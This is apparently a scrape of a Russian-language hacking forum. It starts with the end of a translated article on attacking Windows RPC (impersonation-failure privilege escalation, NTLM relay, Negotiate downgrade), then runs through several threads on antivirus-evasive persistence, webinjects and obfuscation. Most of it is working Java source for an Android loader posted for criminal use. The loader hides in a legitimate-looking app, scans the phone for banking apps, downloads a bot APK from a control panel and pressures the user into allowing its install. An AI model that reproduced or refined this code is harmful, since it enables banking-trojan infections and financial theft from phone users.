Контекст потока сервера изменяется, и все последующие действия выполняются с контекстом безопасности клиента. В приведенном выше разделе (и в моем примере кода) я использовал это для получения токена текущего потока, который затем является токеном клиента, и преобразования его в первичный токен для запуска нового процесса с этим токеном. С тем же успехом я могу просто вызвать любое действие, которое хочу выполнить напрямую, потому что я уже работаю в контексте безопасности клиента. Исходя из названия раздела, вы, возможно, уже догадались, к чему это приведет... что если имперсонификация не удастся, а сервер не проверит это?

Вызов RpcImpersonateClient, функции API, которая делает всю магию имперсонации за вас, возвращает статус операции имперсонации, и для сервера очень важно проверить это.

Если имперсонификация прошла успешно, то после этого вы находитесь в контексте безопасности клиента, но если она не удалась, то вы находитесь в том же старом контексте безопасности, откуда вы вызвали RpcImpersonateClient.
Теперь сервер RPC, вероятно, будет работать от имени другого пользователя (часто также в более высоком контексте безопасности), и в этих случаях он может попытаться выдать себя за своего клиента, чтобы выполнять клиентские операции в более низком, предположительно более безопасном контексте безопасности клиента. Как злоумышленник, вы можете использовать эти случаи для векторов атаки повышения привилегий, заставляя сервер провалить попытку выдачи себя за другого пользователя и тем самым заставляя сервер выполнять клиентские операции в более высоком контексте безопасности сервера.

Рецепт для этого сценария атаки прост:

Вам нужен сервер, который выдает себя за своего клиента и не проверяет тщательно статус возврата RpcImpersonateClient перед выполнением дальнейших действий.

Действия, предпринимаемые сервером после попытки имперсонификации, должны быть уязвимы с точки зрения вашего клиента.

Вам нужно заставить попытку имперсонификации потерпеть неудачу.

Найти локальный сервер, который пытается выдать себя за клиента, - простая задача, если вы прочитали предыдущие разделы и обратили внимание на то, как использовать DumpBin.

Поиск сервера, выполняющего действия в контексте "предполагаемого выдаваемого за клиента", которые могут быть использованы с точки зрения злоумышленников, - это в значительной степени творческий анализ каждого конкретного случая, что делает сервер. Лучший совет для анализа таких случаев - мыслить нестандартно и быть готовым к цепочке из нескольких событий и действий. Довольно простым, но мощным примером может быть файловая операция, выполняемая сервером; возможно, вы можете использовать перекрестки для создания файла в системном пути, защищенном от записи, или заставить сервер открыть именованный канал вместо файла, а затем использовать Named Pipe Impersonation, чтобы выдать себя за сервер...

Последнее в списке - вызвать неудачу попытки имперсонализации сервера, и это самая простая часть работы. Есть два способа добиться этого:

  1. Вы можете подключиться с неаутентифицированной привязки; или
  2. Вы можете подключиться из аутентифицированной привязки и установить уровень имперсонации в структуре QOS на SecurityAnonymous.

Любое из этих действий приведет к неудачной попытке имперсонации.

Эта техника, кстати, не нова, она широко известна... просто иногда забывается. Возможно, для этой техники есть и более причудливое название, с которым я еще не сталкивался. Microsoft даже специально напоминает об этом в разделе Remarks (они даже дали этому специальный заголовок 'Securtiy Remarks') функции RpcImpersonateClient:

Если вызов RpcImpersonateClient не удается по какой-либо причине, клиентское соединение не обезличивается, и клиентский запрос выполняется в контексте безопасности процесса. Если процесс запущен под высокопривилегированной учетной записью, такой как LocalSystem, или как член административной группы, пользователь может иметь возможность выполнять действия, которые в противном случае были бы запрещены. Поэтому важно всегда проверять возвращаемое значение вызова, и в случае неудачи выдать ошибку; не продолжать выполнение запроса клиента.

NTLM-соединения с аутентификацией MITM

В последних двух разделах рассматривается тот факт, что RPC может использоваться как технология удаленного сетевого взаимодействия и поэтому также имеет интересную поверхность атаки со стороны сети.

Побочное замечание: Я намеренно сформулировал это таким образом; вначале вы могли подумать: "Ну и для чего еще использовать технологию под названием Remote Procedure Call?!". ... Но на самом деле RPC также предназначен для чисто локального использования в качестве обертки для ALPC (я вернусь к этому в третьей части серии, когда разгадаю все тайны ALPC).

В любом случае, если вы используете RPC по проводам и хотите, чтобы ваша привязка была аутентифицирована, вам понадобится сетевой протокол, который будет выполнять аутентификацию за вас. Вот почему второй параметр (AuthnSvc) RpcServerRegisterAuthInfo, который является функцией API, вызываемой на стороне сервера для создания аутентифицированной привязки, позволяет вам определить, какую службу аутентификации вы хотите использовать. Например, вы можете указать Kerberos с постоянным значением RPC_C_AUTHN_GSS_KERBEROS, или вы можете указать RPC_C_AUTHN_DEFAULT, чтобы использовать службу аутентификации по умолчанию, которой, что интересно, является NTLM (RPC_C_AUTHN_WINNT).

Kerberos был установлен в качестве схемы аутентификации по умолчанию с Windows 2000, но RPC все еще использует NTLM по умолчанию.

Поэтому, если вы находитесь в подходящем месте в сети и видите NTLM- соединение, то вы можете сделать с ним две интересные вещи:

Вы можете перехватить хэш ответа на вызов NTLM(v2) и в автономном режиме перебрать пароль пользователя; Или/или
Вы можете перехватить и передать NTLM соединение для получения доступа к другой системе.

Я не хочу глубоко погружаться в эти две темы (если вы дошли до этого места, то наверняка уже достаточно прочитали), поэтому добавлю лишь два замечания:

Форсирование вызова NTLM(v2) очень хорошо известно, поэтому у вас не должно возникнуть проблем с поиском того, как это сделать. В качестве примера посмотрите hashcat mode 5600 на https://hashcat.net/wiki/doku.php?id=example_hashes.
NTLM Relay очень хорошо описана великим Pixis на <https://en.hackndo.com/ntlm- relay/>. Есть несколько моментов, на которые следует обратить внимание в зависимости от используемого протокола, поэтому обязательно ознакомьтесь с этим постом, если вам интересно.

Соединения GSS_NEGOTIATE с аутентификацией MITM

И последнее, но не менее важное... вы почти дочитали до конца этот пост.

Наряду со схемами сетевой аутентификации на основе NTLM, которые вы получите, если выберете RPC_C_AUTHN_WINNT или RPC_C_AUTHN_DEFAULT в качестве службы аутентификации в вызове RpcServerRegisterAuthInfo, очень часто используемая константа RPC_C_AUTHN_GSS_NEGOTIATE также является интересной целью.

При выборе RPC_C_AUTHN_GSS_NEGOTIATE используется Microsoft's Negotiate SSP для указания клиенту и серверу самостоятельно договориться о том, NTLM или Kerberos следует использовать для аутентификации пользователей. По умолчанию эти переговоры всегда приводят к Kerberos, если клиент и сервер поддерживают его.

Эти переговоры могут быть атакованы с позиции перехватывающей сети, чтобы заставить использовать NTLM вместо Kerberos, эффективно понижая схему аутентификации. Оговорка заключается в том, что для этой атаки требуется подходящая сетевая позиция и отсутствующие подписи. На данный момент я не буду углубляться в эту тему, в основном потому, что я подробно описал процесс и атаку в старой статье здесь: Downgrade SPNEGO Authentication.

Кстати, константы службы аутентификации, упомянутые здесь, можно найти здесь: <https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service- constants>.

Вот и все... вы справились!

Ссылки

![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ Overviews - Win32 apps ](https://docs.microsoft.com/en-

us/windows/win32/rpc/overviews)

Remote Procedure Call (RPC) navigation page for overview sections.

docs.microsoft.com

[ A Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers — IPC Research 1.0 documentation ](https://ipc- research.readthedocs.io/en/latest/subpages/RPC.html)

blog.xpnsec.com

[ Analysing RPC With Ghidra and Neo4j

](https://blog.xpnsec.com/analysing-rpc-with-ghidra-neo4j/)

Hunting for new lateral movement techniques or interesting ways to execute code can be a nice way to sink some free time. With Windows spawning numerous RPC services on boot, finding unusual execution techniques is sometimes as simple as scratching just below the surface. And often the payoff...

blog.xpnsec.com blog.xpnsec.com

www.codeproject.com

[ Introduction to RPC - Part 1

](https://www.codeproject.com/Articles/4837/Introduction-to-RPC- Part-1#Implicitandexplicithandles17)

An introduction to RPC programming. A simple RPC client/server application is explained.

www.codeproject.com www.codeproject.com

[Оригинал вот тутЪ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html)

C# Adding file to startup | Добавление файла в автозагрузку
ID: 6765d804b4103b69df37580d
Thread ID: 83020
Created: 2023-03-02T05:58:35+0000
Last Post: 2023-03-28T08:53:10+0000
Author: vril
Replies: 7 Views: 1K

I have tried adding my file to registry, using task scheduler, putting a shortcut into the Startup folder, and some more methods. All were detected by antivirus because it is suspicious. Can anyone give tips on ways I can add my file to startup without cause antiviruses machine learning to detect it? Or how I can re FUD one of these current methods? I am not that amazing with Pinvoke but I am trying to learn.

RU:
Я попробовал добавить свой файл в реестр, используя планировщик заданий, поместить ярлык в папку Startup и некоторые другие методы. Все они были обнаружены антивирусом, потому что это подозрительно. Может ли кто-нибудь дать советы о том, как я могу добавить свой файл в автозагрузку без причин, по которым антивирусы машинного обучения обнаруживают его? Или как я могу REFUD одним из этих текущих методов? Я не так удивителен с Pinvoke, но я пытаюсь учиться.

На сколько хорошо ты знаешь язык Си?!
ID: 6765d804b4103b69df375810
Thread ID: 80720
Created: 2023-01-27T00:21:26+0000
Last Post: 2023-03-25T14:23:01+0000
Author: weaver
Replies: 6 Views: 1K

Ковырялся тут в своих закладках и сохраненках и нашел вот такой вот сорец. Догадайся что он делает. Компилировать нельзя!

C:Copy to clipboard

#include "stdio.h"
#define e 3
#define g (e/e)
#define h ((g+e)/2)
#define f (e-g-h)
#define j (e*e-g)
#define k (j-h)
#define l(x) tab2[x]/h
#define m(n,a) ((n&(a))==(a))

long tab1[]={ 989L,5L,26L,0L,88319L,123L,0L,9367L };
int tab2[]={ 4,6,10,14,22,26,34,38,46,58,62,74,82,86 };

main(m1,s) char *s; {
    int a,b,c,d,o[k],n=(int)s;
    if(m1==1){ char b[2*j+f-g]; main(l(h+e)+h+e,b); printf(b); }
    else switch(m1-=h){
        case f:
            a=(b=(c=(d=g)<<g)<<g)<<g;
            return(m(n,a|c)|m(n,b)|m(n,a|d)|m(n,c|d));
        case h:
            for(a=f;a<j;++a)if(tab1[a]&&!(tab1[a]%((long)l(n))))return(a);
        case g:
            if(n<h)return(g);
            if(n<j){n-=g;c='D';o[f]=h;o[g]=f;}
            else{c='\r'-'\b';n-=j-g;o[f]=o[g]=g;}
            if((b=n)>=e)for(b=g<<g;b<n;++b)o[b]=o[b-h]+o[b-g]+c;
            return(o[b-g]%n+k-h);
        default:
            if(m1-=e) main(m1-g+e+h,s+g); else *(s+g)=f;
            for(*s=a=f;a<e;) *s=(*s<<e)|main(h+a++,(char *)m1);
        }
}

В общем существует конкурс по программированию, в котором задачей участников является написание максимально запутанного кода на языке Си. Если тебя заинтересовала тема обфускации на уровне исходников советую посмотреть ссылки ниже. Там есть много различных примеров где можно сломать голову и сидеть не один час, а то и несколько дней.

Obfuscated C Code

The International Obfuscated C Code Contest

International Obfuscated C Code Contest

www.ioccc.org www.ioccc.org

Have fun with C language | Веселие с языком C
ID: 6765d804b4103b69df37581d
Thread ID: 81319
Created: 2023-02-05T16:35:47+0000
Last Post: 2023-02-18T07:07:39+0000
Author: el84
Replies: 10 Views: 1K

[en]
Here in this topic we should share C code which help people to learn new things about syntax and also related subjects (eg: assembly concepts), I will start with a small code, most of people probably can guess what will happen when it runs, but its a very nice exercise to run it in a debugger like GDB and understand why this happens. The code should be compiled with those flags otherwise compiler optimizations/protections will prevent it to work properly.

[ru]
Здесь, в этой теме, мы должны поделиться C кодом C, который помогает людям узнать новые вещи о синтаксисе, а также связанных предметах (например, концепции сборки), я начну с небольшого кода, большинство людей, вероятно, могут догадаться, что произойдет, когда он работает, Но это очень хорошее упражнение, чтобы запустить его в отладчике, как GDB, и понять, почему это происходит. Код должен быть составлен с этими флагами, в противном случае оптимизация компилятора/защита предотвратит его работать должным образом.

Bash:Copy to clipboard

gcc -O0 -fno-stack-protector code.c -o code

code.c

C:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>

void somefunc()
{
        puts("What happened?");
        exit(1);
}

void func()
{
        void (*reference[0])();
        1[reference] = somefunc;
        1[reference];
}

int main()
{
        func();
        return 0;
}
socket клиент передает лишние данные в момент коннекта
ID: 6765d804b4103b69df375822
Thread ID: 80653
Created: 2023-01-25T18:16:43+0000
Last Post: 2023-02-09T20:47:14+0000
Author: gliderexpert
Replies: 15 Views: 1K

Специалисты по Сям, надоумьте где почитать про следующий момент.
Есть сокет сервер на локалхосте.
Открываю к нему коннект обычной командой telnet localhost 7777 . В wireshark вижу один пакет данных от клиента к серверу, в серверной части срабатывает
accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) ;
и дальше процесс останавливается, как и должно быть - в ожидании данных от сокет клиента.

Но, если я создаю сокет клиент на сях, простейшим методом типа

Code:Copy to clipboard

 if ((client_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("socket failed");
                exit(EXIT_FAILURE);
    }
    else{
        printf("socket ready");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr(TCP_ADDR);
    address.sin_port = htons(PORT);

    if ( connect(client_fd, (struct sockaddr*)&address, addrlen))   {
        printf("connect error? \n");
    }
     else
         {
    printf("connected \n");
          }

Коннект с этого модуля вызывает генерацию 3 пакетов данных для сервера, и естественно сокет сервак помимо accept'а получает на вход некий мусор. Хотя никаких данных я не отправляю, просто открываю соединение.
Почему так?
Подозреваю что есть некий буфер в сокет клиенте который нужно очищать перед connect'ом к серверу, но как это сделать? В описании к либе <sys/socket.h> особых подробностей нет.

Как найти сигнатуру ssl_read и ssl_write из нового boringssl
ID: 6765d804b4103b69df375827
Thread ID: 62778
Created: 2022-02-11T04:15:04+0000
Last Post: 2023-01-29T10:49:33+0000
Author: IPirateS6
Replies: 9 Views: 1K

Приветствую. В процессе написания вебинжектов. Наткнулся на такой проект как NetRipper (https://github.com/NytroRST/NetRipper) и даже адаптировал под нужный мне формат. Да только вот проблема: в 64 битном хроме работает, а на 32 битном работать не хочет. Вопрос: как добыть сигнатуры ssl_read и ssl_write из нового boringssl данного формата?

Динамически вычислить адрес функции и обфусцировать
ID: 6765d804b4103b69df37582a
Thread ID: 80459
Created: 2023-01-22T15:11:38+0000
Last Post: 2023-01-23T20:25:21+0000
Author: cppjunior
Replies: 9 Views: 1K

Должно получиться такое :

Code:Copy to clipboard

public start
start proc near
lea     rcx, start
push    rcx
pop     rdx
add     rcx, 4E20h
add     rdx, 2764h
jmp     rdx
start endp

А получается вот такое)

Code:Copy to clipboard

main proc near
var_18= qword ptr -18h
sub     rsp, 38h
lea     rcx, sub_140001000
call    sub_140001090
mov     [rsp+38h+var_18], rax
mov     rcx, [rsp+38h+var_18]
call    sub_1400010B0
call    rax
xor     eax, eax
add     rsp, 38h
retn

Код:

C++:Copy to clipboard

template <class T>
inline T obfuscate_address(T addr) {
    return reinterpret_cast<T>(reinterpret_cast<std::uintptr_t>(addr) + 1337 );
}

template <class T>
inline T deobfuscate_address(T addr) {
    return reinterpret_cast<T>(reinterpret_cast<std::uintptr_t>(addr) - 1337 );
}

const auto obfuscated_foo = obfuscate_address(&test);
deobfuscate_address(obfuscated_foo)();

Как добиться желаемого результата?)

C++ за 21 день, Рао Сиддхартха [2019]
ID: 6765d804b4103b69df37582d
Thread ID: 64278
Created: 2022-03-15T08:33:00+0000
Last Post: 2023-01-18T14:21:06+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 2 Views: 1K

xss.jpeg

[ C++ за 21 день, Рао Сиддхартха [2019].pdf - AnonFiles

](https://anonfiles.com/p2s7vfO2x7/C_21_2019_pdf)

anonfiles.com anonfiles.com

Кастомная точка входа
ID: 6765d804b4103b69df375834
Thread ID: 76714
Created: 2022-11-26T07:19:30+0000
Last Post: 2023-01-11T06:20:21+0000
Author: cppjunior
Replies: 13 Views: 1K

Как реализовать кастомный энтри поинт. Как здесь.
Сэмпл показывется как с2 фреймворк nighthawk https://bazaar.abuse.ch/download/b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94/
1669447054100.png
UPD: нашел анализ семпла [https://www.proofpoint.com/us/blog/...-pentest-tool- likely-gain-threat-actor-notice](https://www.proofpoint.com/us/blog/threat- insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice) Но вопрос остается актуальным, как это реализовать)

Windows и прослушивание входящего icmp
ID: 6765d804b4103b69df375843
Thread ID: 78299
Created: 2022-12-17T08:12:21+0000
Last Post: 2022-12-20T14:41:18+0000
Author: proxy
Replies: 28 Views: 1K

С наступающий! Где почитать что-то желательно с наработками по работе с icmp в винде? Нашел статью на секюритилаб с исходниками на питоне и пару статей на хабре но все не о том.

Конечная цель: построить клиент-серверное приложение с разграничением сессий. Первичное рукопожатие будет происходить через зашифрованный пакет icmp с динамическим размером.
Язык: си

Можно ли писать без CRT и WINAPI
ID: 6765d804b4103b69df37584c
Thread ID: 76931
Created: 2022-11-29T06:31:09+0000
Last Post: 2022-12-10T14:57:16+0000
Author: n0kkster
Replies: 9 Views: 1K

Господа знатоки Цэ и прочие гении низкоуровневой разработки, возможно ли как- то писать под винду на Си, без использования CRT и WinApi? Также обойтись без динамического разрешения апи по хешам и прочее. Интересует именно разработка на чистом Си, не прибегая к возможностям WinApi и CRT. Если конкретнее, меня интересуют 2 момента: как реализовать вывод в консоль и как получить путь к самому себе без использования вышеперечисленных технологий? Спасибо!

исходники лайтового лоадера Андроид
ID: 6765d804b4103b69df375858
Thread ID: 60063
Created: 2021-12-14T21:23:15+0000
Last Post: 2022-12-02T14:19:51+0000
Author: lastKenguru
Replies: 10 Views: 1K

Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не знал что существует ява, поэтому слепил примитивный лоадер.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело , я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно

Java:Copy to clipboard

public class MainActivity extends Activity {

    private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все
    private final Context mContext = this;

    // не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку  implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3'
    // OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным
    private final OkHttpClient client = new OkHttpClient();

    private boolean APP_CONNECT = false;            // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию
    private JSONObject LOADER_DATA = null;          // наша главная переменная будет тащить в себе всю информацию
    private SharedPreferences sharedPreferences;    // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE);
        loadSession();
        // при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп
        new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000);
    }
    private void checkInternet(){
        if( LOADER_DATA == null || !APP_CONNECT ){
            startRealApplication();
        }
    }
    @Override
    protected void onResume() {
        /*
        очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия,
        юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда
         */
        super.onResume();
        loadSession();
    }
    public void startRealApplication(){
        //старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать
        Intent m = new Intent(this, RealApplication.class);
        m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY );
        startActivity(m);
    }
    public void updateUI(String step){
/*
функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать
например
* нужно обновить апп
* скачивание обновление и какой-то прогресс бар
* дай права ставить из неизвестных источников
* и прочее
 */
        runOnUiThread(() -> {
            TextView loaderText = (TextView) findViewById(R.id.loaderText);    // просто для вывод какого либо текста что бы скрасить ожидание юзера
            switch (step){
                case "startDownloadFile":
                    loaderText.setText(step);
                    break;
                case "endDownloadFile":
                    loaderText.setText(step);
                    break;
                case "needPermission":
                    loaderText.setText(step);
                    Button b = (Button) findViewById(R.id.button);
                    b.setOnClickListener(v -> {
                        startPerm();
                    });
                    b.setVisibility(View.VISIBLE);
                    break;
                case "startInstall":
                    loaderText.setText(step);
                    break;
                default:
                    loaderText.setText(step);
                    break;
            }
        });
    }


    private void sendData(JSONObject data, String status) {
        try{
            data.put("status", status);
            RequestBody requestBody = new FormBody
                    .Builder()
                    .add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой
                    .build();

            Request request = new Request
                    .Builder()
                    .url(ADMIN_PANEL)
                    .addHeader("cache-control","no_cache")
                    .addHeader("User-Agent","Mozilla/5.0")
                    .post(requestBody)
                    .build();

            client.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                }
                @Override
                public void onResponse(Call call, Response response)  {
                    if (response.isSuccessful()) {
                        try {
                            String resString = response.body().string();
                            //сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело
                            JSONObject res = new JSONObject(resString);
                            APP_CONNECT = true;  // коннект с админкой есть
                            if( res.has("action") ){
/*
от лоадера мы просим исполнение 3 возможных желаний
a. проверить тело на наличии банк аппов
b. поставить бота
c. тело пыстышка, дрочер, трафер опять наипал нас с качеством
 */
                                switch (res.getString("action")){
                                    case "a":
                                        // проверяем на теле список аппов полученных с админки массивом
                                        JSONArray appsResult = new JSONArray();
                                        JSONArray appsCheck = res.getJSONArray("apps");
                                        for(int i = 0; i < appsCheck.length(); i++){
                                            String app = appsCheck.getString(i);
                                            if( isPackageInstalled( app )){
                                                appsResult.put(app);
                                            }
                                        }
                                        JSONObject dataReturn = new JSONObject();
                                        dataReturn.put("botID", LOADER_DATA.getString("botID"));
                                        if( appsResult.length() == 0 ){
                                            // бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать
                                            dataReturn.put("apps", "none");
                                            sendData(dataReturn,"apps");
                                            startRealApplication();
                                        }else{
                                            // есть банкаппы, сообщаем на админку какие есть и ждем команды следующей
                                            dataReturn.put("apps", appsResult);
                                            sendData(dataReturn,"apps");
                                        }
                                        break;
                                    case "b":
                                        //нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру
                                        updateUI("startDownloadFile");
                                        downloadFile(res);
                                        break;
                                    case "c":
                                        // запускаем белый апп
                                        startRealApplication();
                                        break;
                                }
                            }
                        } catch (Exception e) { startRealApplication(); }
                    }else{ startRealApplication(); }
                }
            });
        }catch (Exception e){ startRealApplication(); }
    }

    private void downloadFile(JSONObject data) {
        // просто скачиваем файл и запускаем установку
        try {
            String url = data.getString("url"); //урл по которому качаем файл полученный с админки
            OkHttpClient client2 = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            client2.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    e.printStackTrace();
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
                    InputStream is = response.body().byteStream();
                    BufferedInputStream input = new BufferedInputStream(is);
                    String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла
                    String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
                    File file = new File(PATH, cacheFile);
                    OutputStream output = new FileOutputStream(file);
                    byte[] buff = new byte[1024 * 4];
                    while (true) {
                        int byteCount = input.read(buff);
                        if (byteCount == -1) {
                            break;
                        }
                        output.write(buff, 0, byteCount);
                    }
                    output.flush();
                    output.close();
                    input.close();
                    try{
                        // итак файл скачен успешно, сразу зафиксируем это
                        LOADER_DATA.put("timeFile", 0);
                        LOADER_DATA.put("package", data.getString("package"));
                        LOADER_DATA.put("cacheFile", cacheFile);
                        saveInPreferences(LOADER_DATA);
                    }catch (Exception ignored){}
                    updateUI("endDownloadFile");
                    startInstall();
                }
            });
        } catch (Exception e) {
            startRealApplication();
        }
    }

    private void startInstall() {
        try {
            if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле
                startRealApplication();
                return;
            }
            if( !checkCanRequestPackageInstalls() ){
                updateUI("needPermission");
                return;
            }
            if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
                return;
            }
            LOADER_DATA.put("timeStart",System.currentTimeMillis());

            String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);

            Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file);
            intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive");
            List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
            for (ResolveInfo resolveInfo : resInfoList) {
                mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }
            intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            startActivity(intent);

            new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000);
        }catch (Exception e){
            startRealApplication();
        }
    }

    private boolean checkCanRequestPackageInstalls() {
/*
самая слабая точка тут - разрешение ставить из неизвестных источников,
кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора
ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп!
при нажатии на которую просто перекидывает в сеттинг
 */
        try {
            return getPackageManager().canRequestPackageInstalls();
        }catch (Exception ignored){}
        return true;
    }
    private void startPerm() {
//открываем сеттинг для получение разрешение стаивть из неизвестных источников
        Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
        intent.setData(Uri.parse("package:" + getPackageName()));
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
        startActivityForResult(intent,12);
    }
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent i) {
/*
если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет
разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер,
в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume
ну если юзер дал права, то начинаем ставить
 */
        if( !checkCanRequestPackageInstalls() ){
            startPerm();
        }else{
            updateUI("startInstall");
            startInstall();
        }
    }

    private void loadSession(){
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {  // если меньше 8 версия то нафиг ее, выпускаем в реал апп
            startRealApplication();
            return;
        }
        try {
            if( LOADER_DATA == null ){  // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу
                LOADER_DATA = firstStart();
            }
            if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){
/*
при любом запуске активити проверим 3 возможных состояния
1. данные не получены, сломалось шифрование или еще чего
2. данные получены, ну нет ботИД, считаем данные некорректными
3. данные корректны, ну лоадер уже выполнил свою работу
в этих случаях отдаем белый апп
 */
                startRealApplication();
            }else{
                if (LOADER_DATA.has("package") && isBotInstalled()) {
/*
если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ?
надеюсь все ставят бота с рандомизированным именем пакета
 */
                    startRealApplication();
                } else {
                    if( LOADER_DATA.has("cacheFile") ){
                        //проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла
                        String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
                        File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
                        if( file.exists() ){
                            startInstall(); // пробуем снова запустить инсталл
                        }else{
                            sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку
                        }
                    }else{
                        sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск
                    }

                }
            }
        }catch (Exception e){
            startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп
        }
    }

    private boolean isPackageInstalled(String aPackage) {
/*
пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет
ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию
ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест
а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота
а для проверки наличия банкаппов это самое идеальное решение
 */
        try {
            PackageManager b = mContext.getPackageManager();
            b.getPackageInfo(aPackage, 0);
            return true;
        } catch (PackageManager.NameNotFoundException e) {
            return false;
        }
    }
    private boolean isBotInstalled() {
        try{
            // первая проверка на установленного бота - пытаемся его запустить
            Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package"));
            if (launchIntent != null) {
                launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(launchIntent);
                return allOk();
            }else{
                if( isPackageInstalled(LOADER_DATA.getString("package"))  ){
                    // вторая проверка на установленного бота - пытаемся получить данные об аппе
                    return allOk();
                }
            }
        }catch(Exception ignored){ }
        return false;
    }

    private boolean allOk() {
        // простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла
        try{
            LOADER_DATA.put("botInstalled","ok");
